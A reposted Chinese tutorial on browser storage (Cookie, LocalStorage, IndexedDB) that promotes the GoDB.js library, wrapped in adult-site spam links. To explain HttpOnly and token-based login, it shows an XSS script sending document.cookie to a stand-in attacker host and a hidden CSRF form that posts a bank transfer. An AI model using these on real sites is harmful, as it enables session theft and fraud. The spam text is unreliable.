国产秋霞理论久久久电影-婷婷色九月综合激情丁香-欧美在线观看乱妇视频-精品国avA久久久久久久-国产乱码精品一区二区三区亚洲人-欧美熟妇一区二区三区蜜桃视频

深入淺出前端本地儲存

共 16244字,需瀏覽 33分鐘

 ·

2021-03-14 17:39


(給程序員成長指北加星標,提升前端技能

轉自:掘金 - 星塵starx

https://juejin.cn/post/6925311938419408904

引言

2021 年,如果你的前端應用,需要在瀏覽器上保存數(shù)據(jù),有三個主流方案:

  • Cookie
  • Web Storage (LocalStorage)
  • IndexedDB

這些方案就是如今應用最廣、瀏覽器兼容性最高的三種前端儲存方案

今天這篇文章就聊一聊這三種方案的歷史,優(yōu)缺點,以及各自在今天的適用場景

文章在后面還會提出一個全新的,基于 IndexedDB 的,更適合現(xiàn)代前端應用的前端本地儲存方案 GoDB.js

Cookie

Cookie 的歷史

Cookie 早在1994 年就被發(fā)明了出來,它的歷史甚至和互聯(lián)網(wǎng)本身的歷史一樣悠久

和其它兩種本地儲存方案不一樣的是,Cookie 本身并不是為了解決「在瀏覽器上存東西」而被發(fā)明,它的出現(xiàn)是為了解決 HTTP 協(xié)議無狀態(tài)特性的問題

什么是 HTTP 協(xié)議的無狀態(tài)特性?簡單來說就是:用戶的兩次 HTTP 請求,服務端并不能通過請求本身,知道這兩次請求,來自于同一個用戶

比如我們如今司空見慣的登錄功能,在 Cookie 被發(fā)明之前其實幾乎無法實現(xiàn)登錄態(tài)的長久保持

也就是說,Cookie 其實是作為「HTTP 協(xié)議的補充」被發(fā)明出來的,因此,在英文語境中,大多時候其實都用 HTTP cookie 來指 Cookie

Cookie 最初被其發(fā)明者 Lou Montulli 用在電商網(wǎng)站上,用來記錄購物車里的商品,這樣當用戶想要結賬時,瀏覽器會把 Cookie 里的商品數(shù)據(jù)以及用戶信息發(fā)送給服務器,服務器就能知道用戶想要購買哪些商品

Cookie 在很長一段時間內,都是瀏覽器儲存數(shù)據(jù)的唯一解決方案,直到今天,Cookie 在很多領域仍然有大量的使用

Cookie 的今天

2021 年,雖然 Cookie 在部分領域仍有不可替代的價值,但其已經(jīng)不再適合被做為一個前端本地儲存方案去使用:

  • Cookie 的安全問題
    • Cookie 在每次請求中都會被發(fā)送,如果不使用 HTTPS 并對其加密,其保存的信息很容易被竊取,導致安全風險
    • 舉個例子,在一些使用 Cookie 保持登錄態(tài)的網(wǎng)站上,如果 Cookie 被竊取,他人很容易利用你的 Cookie 來假扮成你登錄網(wǎng)站
    • 當然可以用 Session 配合 Cookie 來緩解這個問題,但是 Session 會占用額外的服務器資源
    • Cookie 每次請求自動發(fā)送的特性還會導致 CSRF 攻擊的安全風險
  • Cookie 只允許儲存 4kb 的數(shù)據(jù)
  • Cookie 的操作較為繁瑣復雜(這一點倒是可以通過使用類庫來解決)

有人說由于瀏覽器每次請求都會帶上 Cookie,因此 Cookie 還有個缺點是會增加帶寬占用,但其實放在今天的網(wǎng)絡環(huán)境來看,這點占用基本可以忽略不計

總之,如今已經(jīng)不推薦使用 Cookie 來在瀏覽器上保存數(shù)據(jù),大部分曾經(jīng)應用 Cookie 的場景,在今天都可以用 LocalStorage 實現(xiàn)更優(yōu)雅更安全的替代

但是,即使 Cookie 已經(jīng)不適合用來在瀏覽器上儲存數(shù)據(jù),其在某些特定領域,在今天仍然獨特的價值

最常見的就是用在廣告中,用來跨站標記用戶與跟蹤用戶行為,這樣在你訪問不同頁面時,廣告商也能知道是同一個用戶在訪問,從而實現(xiàn)后續(xù)的商品推薦等功能

假設 abc.comxyz.com 都內嵌了淘寶的廣告,你會發(fā)現(xiàn)即使 abc.comxyz.com 所有者不一致,兩個網(wǎng)站上淘寶廣告推薦的商品也出奇的一致,這背后是因為淘寶知道是同一個人,分別在 abc.comxyz.com 訪問淘寶的廣告

這是如何實現(xiàn)的呢?答案是第三方 Cookie

第三方 Cookie

之所以有第三方 Cookie 這個稱呼,是因為 Cookie 執(zhí)行同源策略,a.comb.com 各自只能訪問自己的 Cookie,無法訪問對方或者任何不屬于自己的 Cookie

如果在訪問 a.com 時,設置了一個 b.com 的 Cookie(比如內嵌 b.com 的頁面),那么這個 Cookie 相對于 a.com 而言就是第三方 Cookie

值得一提的是,是同一個 host 下的不同端口倒是可以互相訪問 Cookie

這里提一下對第三方 Cookie 而言非常重要的一個特性:Cookie 可以被服務端設置

服務器可以通過 response 的請求頭來要求瀏覽器設置 Cookie

Set-Cookie: userId=123;

瀏覽器在檢測到返回請求的 header 里有 Set-Cookie 請求頭后,就會自動設置 Cookie,不需要開發(fā)者用 JS 去做額外的操作

這樣帶來的好處是,當 abc.comxyz.com 想在自己的網(wǎng)頁上內嵌淘寶廣告時,只需要把淘寶提供的組件放進 HTML 即可,不需要寫額外的 JS,也能讓淘寶進行跨站定位用戶

<img src="taobao.com/some-ads" />

(這個組件純屬虛構,僅為方便理解)

它是如何工作的呢?

  1. 當用戶處于 abc.com 時,瀏覽器會向 taobao.com/some-ads 發(fā)起一個 HTTP 請求
  2. 當淘寶服務器返回廣告內容時,會順帶一個 Set-Cookie 的 HTTP 請求頭,告訴瀏覽器設置一個源為 taobao.com 的 Cookie,里面存上當前用戶的 ID 等信息
  3. 這個 Cookie 相對于 abc.com 而言就是第三方 Cookie,因為它屬于 taobao.com
  4. 而當用戶訪問 xyz.com 時,由于 xyz.com 上也嵌入了淘寶的廣告,因此用戶的瀏覽器也會向 taobao.com/some-ads 發(fā)起請求
  5. 有意思的來了,發(fā)請求時,瀏覽器發(fā)現(xiàn)本地已有 taobao.com 的 Cookie(此前訪問 abc.com 時設置的),因此,瀏覽器會將這個 Cookie 發(fā)送過去
  6. 淘寶服務器根據(jù)發(fā)過來的 Cookie,發(fā)現(xiàn)當前訪問 xyz.com 的用戶和之前訪問 abc.com 的用戶是同一個,因此會返回相同的廣告

廣告商用第三方 Cookie 來跨站定位用戶大概就是這么個過程,實際肯定要復雜許多,但基本原理是一致的

總之,關鍵就是利用了 Cookie 的兩個特點

  • Cookie 可以被服務器設置
  • 瀏覽器每次請求會自動帶上 Cookie

正因為這兩個特點,即使 Cookie 在今天看來缺點一大堆,但仍然在部分領域有不可替代的價值

但也是因為這兩個特點,導致 Cookie 的安全性相對不高,總之 Cookie 的這個設計放在今天來看,就是一把雙刃劍

Cookie 配置

服務端要求瀏覽器建立 Cookie 時,可以在請求頭里放一些配置聲明,修改 Cookie 的使用特性

SameSite

在前段時間,Chrome 更新 80 版本時,將 Cookie 的跨站策略(SameSite)默認設置為了 Lax,即僅允許同站或者子站訪問 Cookie,而老版本是 None,即允許所有跨站 Cookie

這會導致用戶訪問 xyz.com 時,瀏覽器默認將不會發(fā)送 Cookie 給 taobao.com,導致第三方 Cookie 失效的問題

要解決的話,在返回請求的 header 里將 SameSite 設置為 None 即可

Set-Cookie: userId=123; SameSite=None

Secure, HttpOnly

Cookie 還有兩個常用屬性 SecureHttpOnly

Set-Cookie: userId=123; SameSite=None; Secure; HttpOnly

其中 Secure 是只允許 Cookie 在 HTTPS 請求中被使用

HttpOnly 則用來禁止使用 JS 訪問 cookie

ducoment.cookie // 訪問被禁止了

這樣最大的好處是避免了 XSS 攻擊

XSS 攻擊

比如你在水一個論壇,這個論壇有個 bug:不會對發(fā)布內容中的 HTML 標簽進行過濾

某一天,一個惡意用戶發(fā)了個帖子,內容如下:

<script>window.open("atacker.com?cookie=" + document.cookie</script> 

當你訪問這條帖子的內容時,瀏覽器就會執(zhí)行 <script> 中的代碼,導致你的 Cookie 被發(fā)送給攻擊者,接著攻擊者就可以利用你的 Cookie 登錄論壇,然后為所欲為了

XSS 攻擊在很多情況下,用戶甚至不會知道自己被攻擊了,比如利用 <img/>src 屬性,就可以做到悄無聲息的把用戶的信息發(fā)給攻擊者

而當設置了 HttpOnly 后,ducoment.cookie 將獲取不到 Cookie,攻擊者的代碼自然就無法生效了

Cookie 總結

總而言之,Cookie 在今天的適用場景其實比較有限,當你需要在本地儲存數(shù)據(jù)時,由于安全性和儲存空間的問題,一般不推薦使用 Cookie,大部分情況下使用 Web Storage 是個更好的選擇

Web Storage

在 2014 年年底發(fā)布的 HTML5 標準中,新增了一個 Web Storage 的本地儲存方案,其包括

  • LocalStorage
  • SessionStorage

SessionStorage 和 LocalStorage 使用方法基本一致,唯一不同的是,一旦關閉頁面,SessionStorage 將會刪除數(shù)據(jù);因此這里主要以 LocalStorage 為例

LocalStorage 的特點是:

  • 使用 Key-Value 形式儲存
  • 使用很方便
  • 大小有 10MB
  • Key 和 Value 以字符串形式儲存

LocalStorage 的使用非常簡單,比如要在本地保存 userId

localStorage.setItem('userId''123');
console.log(localStorage.getItem('userId')); // 123

只要用 setItem 保存過一次,哪怕用戶關閉了頁面,再次打開頁面時都可以用 getItem 獲取到想要的數(shù)據(jù)

LocalStorage 一出現(xiàn),就在許多應用場景徹底替代了 Cookie,大部分需要在瀏覽器上存數(shù)據(jù)的場景,都會優(yōu)先使用 LocalStorage

它和 Cookie 的主要區(qū)別是:

  • 儲存空間更大,使用更方便
  • Cookie 可以被服務器設置,而 LocalStorage 只能前端手動操作
  • Cookie 的數(shù)據(jù)會由瀏覽器自動發(fā)給服務器,LocalStorage 需要手動取出來放到請求里面才會發(fā)給服務器,因此可以避免 CSRF 攻擊

CSRF 攻擊

假設你在瀏覽器中登錄過某個銀行 bank.com,這個銀行系統(tǒng)使用 Cookie 來保存你的登錄態(tài)

接著你訪問了一個惡意網(wǎng)站,該網(wǎng)站中有一個表單:

<form action="bank.com/transfer" method="post">
    <input type="hidden" name="amount" value="100000.00"/>
    <input type="hidden" name="target" value="attacker"/>
    <input type="submit" value="屠龍寶刀,點擊就送!"/>
</form>

(假設 bank.com/transfer 是用來轉賬的接口)

當你被誘導點下了提交按鈕后:

  1. 由于 form 表單提交是可以跨域的,你將會對 bank.com/transfer 發(fā)起一次 POST 請求

  2. 由于此前你已經(jīng)登錄過 bank.com,瀏覽器會自動將你的 Cookie 一并發(fā)送過去(即使你當前并未處于銀行系統(tǒng)的頁面)

  3. bank.com 收到你的帶 Cookie 的請求后,認為你是正常登錄了的,導致轉賬成功進行

  4. 最終你損失了一大筆錢

注意即使用 Cookie 配合 HTTPS 請求,CSRF 攻擊也無法被避免,因為 HTTPS 請求只是對傳輸?shù)臄?shù)據(jù)進行了加密,而 CSRF 攻擊的特點是,誘導你去訪問某個需要你的權限的接口,HTTPS 并不能阻止這種訪問

這里的 CSRF 攻擊的核心,就是利用了瀏覽器會自動在所有請求里帶上 Cookie 的特性

因此,LocalStorage 比較常見的一個替代 Cookie 的場景就是登錄態(tài)的保持,比如用 token 的方法加上 HTTPS 請求,就可以很大程度上提高登錄的安全性,避免被 CSRF 攻擊(但是依然無法完全避免被 XSS 攻擊的風險)

大概工作流程就是,用戶登錄后,從服務器拿到一個 token,然后存進 LocalStorage 里,之后每次請求前都從 LocalStorage 里取出 token,放到請求數(shù)據(jù)里,服務器就能知道是同一個用戶在發(fā)起請求了;由于 HTTPS 的存在,也不用擔心 token 會被泄露給第三方,因此是很安全的

總結為什么 LocalStorage 在大部分應用場景替代了 Cookie:

  • LocalStorage 更好用,更簡單,儲存空間更多
  • LocalStorage 免去了 Cookie 遭受 CSRF 攻擊的風險

LocalStorage 的缺點

但是,LocalStorage 也不是完美的,它有兩個缺點:

  • 無法像 Cookie 一樣設置過期時間
  • 只能存入字符串,無法直接存對象

舉個例子,假如你想存一個對象或者非 string 的類型到 LocalStorage:

localStorage.setItem('key', {name'value'});
console.log(localStorage.getItem('key')); // '[object, Object]'

localStorage.setItem('key'1);
console.log(localStorage.getItem('key')); // '1'

你會發(fā)現(xiàn),存進去的如果是對象,拿出來就變成了字符串 '[object, object]',數(shù)據(jù)丟失了!

存進去的如果是 number,拿出來也變成了 string

要解決這個問題,一般是使用 JSON.stringify() 配合 JSON.parse()

localStorage.setItem('key'JSON.stringify({name'value'}));
console.log(JSON.parse(localStorage.getItem('key'))); // {name: 'value'}

這樣,就可以實現(xiàn)對象和非 string 類型的儲存了

但是,這么做有一個缺點,那就是 JSON.stringify() 本身是存在一些問題的

const a = JSON.stringify({
    aundefined,
    bfunction(){},
    c/abc/,
    dnew Date()
});
console.log(a) // "{"c":{},"d":"2021-02-02T19:40:12.346Z"}"
console.log(JSON.parse(a)) // {c: {}, d: "2021-02-02T19:40:12.346Z"}

如上,JSON.stringify() 無法正確轉換 JS 的部分屬性

  • undefiend
  • Function
  • RegExp(正則表達式,轉換后變成了空對象)
  • Date(轉換后變成了字符串,而非 Date 類的對象)

其實還有個 Symbol 也無法被轉換,但由于 Symbol 本身定義(全局唯一性)就決定了,它不應該被轉換,否則即使轉換回來,也不會是原來那個 Symbol

Function 也比較特殊,不過要兼容的話,可以先調用 .toString() 轉換為字符串儲存,需要的時候再 eval 轉回來

以及,JSON.stringify() 無法轉換循環(huán)引用的對象

const a = { key'value' };
a['a'] = a;
JSON.stringify(a);

// Uncaught TypeError: Converting circular structure to JSON
//     --> starting at object with constructor 'Object'
//     --- property 'a' closes the circle
//     at JSON.stringify (<anonymous>)

大部分應用中,JSON.stringify() 的這個問題基本上可以忽略,但是一小部分場景還是會導致問題,比如想保存一個正則表達式,一個 Date 對象,這種方法就會出問題

總結

在大部分應用場景下,LocalStorage 已經(jīng)能完全替代 Cookie,只有類似于廣告這種場景,由于 Cookie 可以被服務端設置,Cookie 仍存在不可替代的價值

但是 LocalStorage 并不完美,它只支持 10MB 儲存,在一些應用場景還是不夠用,并且原生只支持字符串,JSON.stringify() 的解決方案又不夠完美,因此很多時候不太適合大量數(shù)據(jù)和復雜數(shù)據(jù)的儲存

IndexedDB

IndexedDB 的全稱是 Indexed Database,從名字中就可以看出,它是一個數(shù)據(jù)庫

IndexedDB 早在 2009 年就有了第一次提案,但其實它和 Web Storage 幾乎是同一時間普及到各大瀏覽器的(沒錯,就是 2015 年那會,es6 也是那時候)

IndexedDB 是一個正經(jīng)的數(shù)據(jù)庫,它在問世后替代了原來不正經(jīng)的 Web SQL 方案,成為了當今唯一運行在瀏覽器里的數(shù)據(jù)庫

在我看來,IndexedDB 其實更適合當作終極前端本地數(shù)據(jù)儲存方案

相比于 LocalStorage,IndexedDB 的優(yōu)點

  • 儲存量理論上沒有上限
    • Chrome 對 IndexedDB 儲存空間限制的定義是:硬盤可用空間的三分之一
  • 所有操作都是異步的,相比 LocalStorage 同步操作性能更高,尤其是數(shù)據(jù)量較大時
  • 原生支持儲存 JS 的對象
  • 是個正經(jīng)的數(shù)據(jù)庫,意味著數(shù)據(jù)庫能干的事它都能干

但是缺點也比較致命:

  • 操作非常繁瑣
  • 本身有一定門檻(需要你懂數(shù)據(jù)庫的概念)

由于提案較早,IndexedDB 的 API 設計其實是比較糟糕的,對于新手而言,光是想連上數(shù)據(jù)庫,并往里面加東西,都需要折騰半天

對于簡單的數(shù)據(jù)儲存而言,IndexedDB 的 API 顯得太復雜了,再加上其 API 全是異步的,會帶來額外的心智負擔,遠沒有 LocalStorage 簡單兩行代碼搞定數(shù)據(jù)存取來的快

因此,IndexedDB 在今天的使用規(guī)模相比 LocalStorage 差遠了,即使 IndexedDB 本身的設計其實更適合用來在瀏覽器上儲存數(shù)據(jù)

總之,如果不考慮 IndexedDB 的操作難度,其作為一個前端本地儲存方案其實是接近完美的

簡單理解數(shù)據(jù)庫

在使用 IndexedDB 前,你首先需要懂基本的數(shù)據(jù)庫概念

這里用 Excel 類比,簡單介紹數(shù)據(jù)庫的基本概念,不做太深入的討論

需要了解四個基本概念,以關系型數(shù)據(jù)庫為例

  • 數(shù)據(jù)庫 Database
  • 數(shù)據(jù)表 Table(IndexedDB 中叫 ObjectStore)
  • 字段 Field
  • 事務 Transaction

(雖然 IndexedDB 算不上關系型數(shù)據(jù)庫,但概念都是相通的)

假設清華和北大各自需要建一個數(shù)據(jù)庫,用來存各自學生與教工的信息,假設命名為

  • 清華:thu
  • 北大:pku

這樣,清北之間的數(shù)據(jù)就可以相互獨立

然后,我們再到數(shù)據(jù)庫里建表

  • student 表,儲存學生信息
  • stuff 表,儲存教工信息

數(shù)據(jù)表(Table)是什么?說白了,就是一個類似于 Excel 表一樣的東西

比如 student 表,可以長這樣:

image-20210204032958192

上面的 學號、姓名、年齡、專業(yè) 就是數(shù)據(jù)表的字段

當我們想往 student 表添加數(shù)據(jù)時,就需要按照規(guī)定的格式,往表里加數(shù)據(jù)(關系型數(shù)據(jù)庫的特點,而 IndexedDB 允許不遵守格式)

數(shù)據(jù)庫也給我們提供了方法,當我們知道一個學生的學號(id),就可以在非常短的時間內,在表里成千上萬個學生中,快速找到這個學生,并返回他的完整信息

也可以根據(jù) id 定位,對該學生的數(shù)據(jù)進行修改,或者刪除

id 這種每條數(shù)據(jù)唯一的值,就可以被用來做主鍵(primary key),主鍵在表內獨一無二,無法添加相同主鍵的數(shù)據(jù)

而主鍵一般會被建立索引,所謂對字段建立索引,就是可以根據(jù)這個字段的值,在表里非??焖俚恼业綄臄?shù)據(jù)(通常不高于 O(logN)),如果沒有索引,那可能就需要遍歷整個表(O(N))

增、刪、改、查這些操作,都需要通過事務 Transaction 來完成

  • 如果事務中任何一個操作沒有成功,整個事務都會回滾
  • 在事務完成之前,操作不會影響數(shù)據(jù)庫
  • 不同事務之間不能互相影響

舉個例子,當你發(fā)起一個事務,想利用這個事務添加兩個學生,如果第一個學生添加成功,但是第二個學生添加失敗,事務就會回滾,第一個學生將根本不會在數(shù)據(jù)庫中出現(xiàn)過

事務在銀行轉賬這種場景非常有用:如果轉賬中任何一步失敗了,整個轉賬操作就和沒發(fā)生過一樣,不會造成任何影響

在同一個 Excel 文件(數(shù)據(jù)庫)中,我們除了 student 表,還可以有 stuff 表(同一個數(shù)據(jù)庫中有了兩個不同的數(shù)據(jù)表):

image-20210204033839030

然后,清華和北大各自分一個 Excel 文件,就相當于分了兩個數(shù)據(jù)庫

image-20210204034441432

總而言之,不扯數(shù)據(jù)庫各種難理解的概念,我們其實完全可以用 Excel 來類比數(shù)據(jù)庫

  • 一個 Excel 文件就是一個 Database
  • 一個 Excel(Database)里可以有很多不同表格(數(shù)據(jù)表 Table)
  • 表格的列的名稱其實就是字段

上述類比最接近 MySQL 這種關系型數(shù)據(jù)庫,但放在其它一些比較特殊的數(shù)據(jù)庫上可能就不太妥當(比如圖數(shù)據(jù)庫)

如果你是新手,用 Excel 類比理解數(shù)據(jù)庫完全沒問題,足以使用 IndexedDB 了

雖然說 IndexedDB 使用 key-value 的模式儲存數(shù)據(jù),但你也完全可以用數(shù)據(jù)表 Table 的模式來看待它

IndexedDB 的使用

使用 IndexedDB 的第一步是打開數(shù)據(jù)庫:

const request = window.indexedDB.open('pku');

上面這個操作打開了名為 pku 的數(shù)據(jù)庫,如果不存在,瀏覽器會自動創(chuàng)建

然后 request 上有三個事件:

var db; // 全局 IndexedDB 數(shù)據(jù)庫實例

request.onupgradeneeded = function (event{
  db = event.target.result;
  console.log('version change');
};

request.onsuccess = function (event{
  db = request.result;
  console.log('db connected')l;
};

request.onblocked = function (event{
  console.log('db request blocked!')
}

request.onerror = function (event{
  console.log('error!');
};

IndexedDB 有一個版本(version)的概念,連接數(shù)據(jù)庫時就可以指定版本

const version = 1;
const request = window.indexedDB.open('pku', version);

版本主要用來控制數(shù)據(jù)庫的結構,當數(shù)據(jù)庫結構(表結構)發(fā)生變化時,版本也會變化

如上,request 上有四個事件:

  • onupgradeneeded 在版本改變時觸發(fā)
    • 注意首次連接數(shù)據(jù)庫時,版本從 0 變成 1,因此也會觸發(fā),且先于 onsuccess
  • onsuccess 在連接成功后觸發(fā)
  • onerror 在連接失敗時觸發(fā)
  • onblocked 在連接被阻止的時候觸發(fā),比如打開版本低于當前存在的版本

注意這四個事件都是異步的,意味著在連接 IndexedDB 的請求發(fā)出去后,需要過一段時間才能連上數(shù)據(jù)庫,并進行操作

開發(fā)者對數(shù)據(jù)庫的所有操作,都得放在異步連上數(shù)據(jù)庫之后,這有的時候會帶來很大的不便

而開發(fā)者如果想創(chuàng)建數(shù)據(jù)表(在 IndexedDB 里面叫做 ObjectStore),只能將其放到 onupgradeneeded 事件中(官方的定義是需要一個 IDBVersionChange 的事件)

request.onupgradeneeded = function (event{
    db = event.target.result;
    if (!db.objectStoreNames.contains('student')) {
        db.createObjectStore('student', {
            keyPath'id'// 主鍵
            autoIncrementtrue // 自增
        });
    }
}

上面這段代碼,在數(shù)據(jù)庫初始化時,創(chuàng)建了一個 student 的表,并且以 id 為自增主鍵(每加一條數(shù)據(jù),主鍵會自動增長,無需開發(fā)者指定)

在這一切做好以后,終于,我們可以連接數(shù)據(jù)庫,然后添加數(shù)據(jù)了

const adding = db.transaction('student''readwrite'// 創(chuàng)建事務
  .objectStore('student'// 指定 student 表
  .add({ name'luke'age22 });

adding.onsuccess = function (event{
  console.log('write success');
};

adding.onerror = function (event{
  console.log('write failed');
}

用同樣的方法再加一條數(shù)據(jù)

db.transaction('student''readwrite')
  .objectStore('student')
  .add({ name'elaine'age23 });

然后,打開瀏覽器的開發(fā)者工具,我們就能看到添加的數(shù)據(jù):

這里可以看到 IndexedDB 的 key-value 儲存特性,key 就是主鍵(這里指定主鍵為 id),value 就是剩下的字段和對應的數(shù)據(jù)

這個 key-value 結構對應的 Table 結構如下:

image-20210204050515354

如果要獲取數(shù)據(jù),需要一個 readonly 的 Transaction

const request = db.transaction('student''readonly')
  .objectStore(this.name)
  .get(2); // 獲取 id 為 2 的數(shù)據(jù)

request.onsuccess = function (event{
  console.log(event.target.result) // { id: 2, name: 'elaine', age: 23 }
}

綜上,哪怕只是想簡單的往 IndexedDB 里增加和查詢數(shù)據(jù),都需要寫一大堆代碼,操作非常繁瑣,一不小心還容易掉坑里

那么,有沒有什么辦法,能更優(yōu)雅的使用 IndexedDB,在代碼量減少的情況下,還能更好的發(fā)揮其實力呢?

GoDB.js

GoDB.js 是一個基于 IndexedDB 實現(xiàn)前端本地儲存的類庫

幫你做到代碼更簡潔的同時,更好的發(fā)揮 IndexedDB 的實力


首先安裝:

npm install godb

對 IndexedDB 的增刪改查,一行代碼就可以搞定!

import GoDB from 'godb';

const testDB = new GoDB('testDB'); // 連接數(shù)據(jù)庫
const user = testDB.table('user'); // 獲取數(shù)據(jù)表

const data = { name'luke'age22 }; // 隨便定義一個對象

user.add(data) // 增
  .then(luke => user.get(luke.id)) // 查
  .then(luke => user.put({ ...luke, age23 })) // 改
  .then(luke => user.delete(luke.id)); // 刪

或者,一次性添加許多數(shù)據(jù),然后看看效果:

const arr = [
    { name'luke'age22 },
    { name'elaine'age23 }
];

user.addMany(arr)
  .then(() => user.consoleTable());

上面這段代碼,會在添加數(shù)據(jù)后,在控制臺中展示出 user 表的內容:

add-many

回到之前 LocalStorage 出問題的那個例子,用 GoDB 就可以實現(xiàn)正常儲存:

import GoDB from 'godb';

const testDB = new GoDB('testDB'); // 連接數(shù)據(jù)庫
const store = testDB.table('store'); // 獲取數(shù)據(jù)表

const obj = {
    aundefined,
    b/abc/,
    cnew Date()
};

store.add(obj)
  .then(item => store.get(item.id)) // 獲取存進去的實例
  .then(res => console.log(res));

// {
//     id: 1,
//     a: undefined,
//     b: /abc/,
//     c: new Date()
// }

并且,循環(huán)引用的對象也能使用 GoDB 進行儲存

const a = { key'value' };
a['a'] = a;

store.add(a)
  .then(item => store.get(item.id)) // 獲取存進去的實例
  .then(result => console.log(result));

// 打印出來的對象比 a 多了個 id,其它完全一致

關于 GoDB 更詳細的用法,可以參考 GoDB 的項目官網(wǎng)(不斷完善中):

https://godb-js.github.io/

總之,GoDB 可以

  • 幫你在背后處理好 IndexedDB 各種繁瑣操作
  • 幫你在背后維護好數(shù)據(jù)庫、數(shù)據(jù)表和字段
    • 以及字段的索引,各種屬性(比如 unique
  • 幫你規(guī)范化 IndexedDB 的使用,使你的項目更易維護
  • 最終,開放幾個簡單易用的 API 給你,讓你用簡潔的代碼玩轉 IndexedDB

總結

總結一下三大方案各自的特點以及適用場景:

  • Cookie
    • 能被服務器指定,瀏覽器會自動在請求中帶上
    • 大小只有 4kb
    • 大規(guī)模應用于廣告商定位用戶
    • 配合 session 也是一個可行的登錄鑒權方案
  • Web Storage
    • 大小有 10MB,使用極其簡單
    • 但是只能存字符串,需要轉義才能存 JS 對象
    • 大部分情況下能完全替代 Cookie,且更安全
    • 配合 token 可以實現(xiàn)更安全的登錄鑒權
  • IndexedDB
    • 儲存空間無上限,功能極其強大
    • 原生支持 JS 對象,能更好的儲存數(shù)據(jù)
    • 以數(shù)據(jù)庫的形式儲存數(shù)據(jù),數(shù)據(jù)管理更規(guī)范
    • 但是,原生 API 操作很繁瑣,且有一定使用門檻

我個人是非??春?IndexedDB 的,我認為在前端越來越復雜的未來,在下一個十年各種重前端應用(在線文檔,各種 SaaS 應用),以及 Electron 環(huán)境中,IndexedDB 一定能夠大放光彩

  • 比如緩存接口數(shù)據(jù),實現(xiàn)更好的用戶體驗
  • 比如在線文檔(富文本編輯器)保存編輯歷史
  • 比如任何需要在前端保存大量數(shù)據(jù)的應用

總之,IndexedDB 可以說是最適合用來在前端存數(shù)據(jù)的方案,只不過因為其繁瑣的操作和一定的使用門檻,在目前沒有更簡單的 localStorage 使用范圍那么廣而已

如果你想使用 IndexedDB,推薦試試 GoDB 這個類庫,最大化的降低操作難度

官網(wǎng)(持續(xù)完善):https://godb-js.github.io/

GitHub:https://github.com/chenstarx/GoDB.js


??愛心三連擊

1.看到這里了就點個在看支持下吧,你的點贊,在看是我創(chuàng)作的動力。

2.關注公眾號程序員成長指北,回復「1」加入高級前端交流群!「在這里有好多 前端 開發(fā)者,會討論 前端 Node 知識,互相學習」!

3.也可添加微信【ikoala520】,一起成長。

“在看轉發(fā)”是最大的支持

瀏覽 80
點贊
評論
收藏
分享

手機掃一掃分享

分享
舉報
評論
圖片
表情
推薦
點贊
評論
收藏
分享

手機掃一掃分享

分享
舉報

感谢您访问我们的网站,您可能还对以下资源感兴趣:

国产秋霞理论久久久电影-婷婷色九月综合激情丁香-欧美在线观看乱妇视频-精品国avA久久久久久久-国产乱码精品一区二区三区亚洲人-欧美熟妇一区二区三区蜜桃视频 久热精品在线观看| 秋霞一区二区三区无码| 亚洲无码网址| 人人看人人摸人人搞| 亚洲免费小电影| 黄色精品久久| 天天日天天干天天操| 宅男视频| 豆花视频免费观看| 人人艹在线| 在线观看无码AV| 欧美色图在线观看| 久久激情视频| 人人草人人摸人人看| 五月婷在线视频| 欧美一级无码| AV三级无码| 亚洲永久| v在线| 黄色电影A| 日一区二区| 黄色一级生活片| 99性爱视频| 日逼综合网| 一级片久久| 无码人妻精品一区二区蜜桃漫画| 9无码| 欧美东京热视频| 色一区二区| 人人操夜夜操| 亚洲黄片免费在线观看| 国产肏屄| 天天日少妇| 久久婷婷无码视频| 三级片日本在线| www.三级| 欧美日韩免费在线观看| 美女日屄| 麻豆一区二区三区四区| 9l视频自拍九色9l视频成人| 台湾中文字幕网| 黄色精品久久| 欧美日韩群交| 午夜福利无码视频| 日韩视频免费在线观看| 西西4444www大胆无| 欧美黄色成人网站| 国产精品久久久久久久久久久久久久久| 久久久久亚洲AV无码专区| 在线免费AV片| 日本无码久久嗯啊流水| 91sese| 苍井空无码| 国产艹逼视频| 精品久久ai| 超小超嫩国产合集六部| 99er在线| 精品成人在线视频| 欧美成人精品激情在线观看| 91综合在线观看| 中文字幕性| 抽插视频欧美| 97精品人妻| 欧美成人精品一区二区三区| 国产女人18毛片精品18水| 国产免费高清视频| 日韩人妻丝袜中文字幕| 人妻天天爽夜夜爽| 老太老熟女城中层露脸60| 影音先锋AV无码| 日本绿色精品视频| 人妻在线无码| va色婷婷亚洲在线| 大香蕉网站在线观看| 国产系列每日更新| 大香蕉在线观看视频| 久久97| 51午夜| 草草网站| 熟女91视频| av岛国免费| 国产欧美日韩一区二区三区| 午夜福利成人网站| 蜜臀AV在线播放| 亚洲综合日韩| 大学生一级特黄大片| 日韩三级在线播放| 自拍偷拍激情视频| 国产精品久久久久久久久久久久久久久久 | 超小超嫩国产合集六部| 日韩精品在线免费| 懂色AV一区二区三区国产中文在线| 国产精品色情| 色国产在线| 午夜人妻AV| 操亚洲| 欧美一级黃色A片免费看蜜桃熟了| 91精品国产乱码久久| 欧美日韩中文在线观看| 16一17女人毛片| 午夜操B| 精品成人无码一区二区三区| 91丨九色丨蝌蚪丨对白| 精品成人Av一区二区三区| 欧美成人精品A片免费一区99| 熟妇人妻久久中文字幕| 成人AV在线一区二区| 艹b视频在线观看| 亚洲丁香五月激情| 日韩在线一级片| 国产无码一| 做爱视频网站18| 国产色黄视频| 色五月国产| 亚洲欧美日韩无码| 91精品国产人妻| 成年人毛片视频| 视频一区二区免费| 欧美综合视频在线观看| 欧美一级做| 日韩最新无码发布| 五月丁香激情四射| 9一区二区三区| 亚洲不卡一区二区三区| 国产一级网站| 动漫一区二区| 91大神在线观看入口| 97国产资源| 国产在线A片| 麻豆传媒一区二区| 成人免费视频一区二区| 91乱子伦国产乱| 性饥渴熟妇乱子伦| 东京热av在线| 高清无码电影| 精品国产无码怀孕| 色播五月丁香| 中文字幕亚洲在线| 脓肿是什么原因引起的,该怎么治疗| 国产在线不卡年轻点的| 国产成人综合自拍| 伊人性视频| 97爱爱视频| 在线不卡中文字幕| 中国美女一级黄片| 日韩无码链接| 中文字幕日本精品5| 91久久免费视频| 国产乱子伦-区二区三区四区 | 97超碰伊人| 黄色国产AV| 亚洲性爱一级片| 国产一区二区三区无码| 日韩人妻一区二区三区| 99中文字幕| 天天色天天色| 国产精品色婷婷99久久精品| 亚洲视频入口| 欧美成人精品激情在线观看| 老师搡BBBB搡BBB| 成人福利在线观看| 亚洲午夜在线观看| 一级黄色电影免费看| 久久一道本| 亚洲AV无码乱码精品| 国产精品久久AV电影| A片地址| 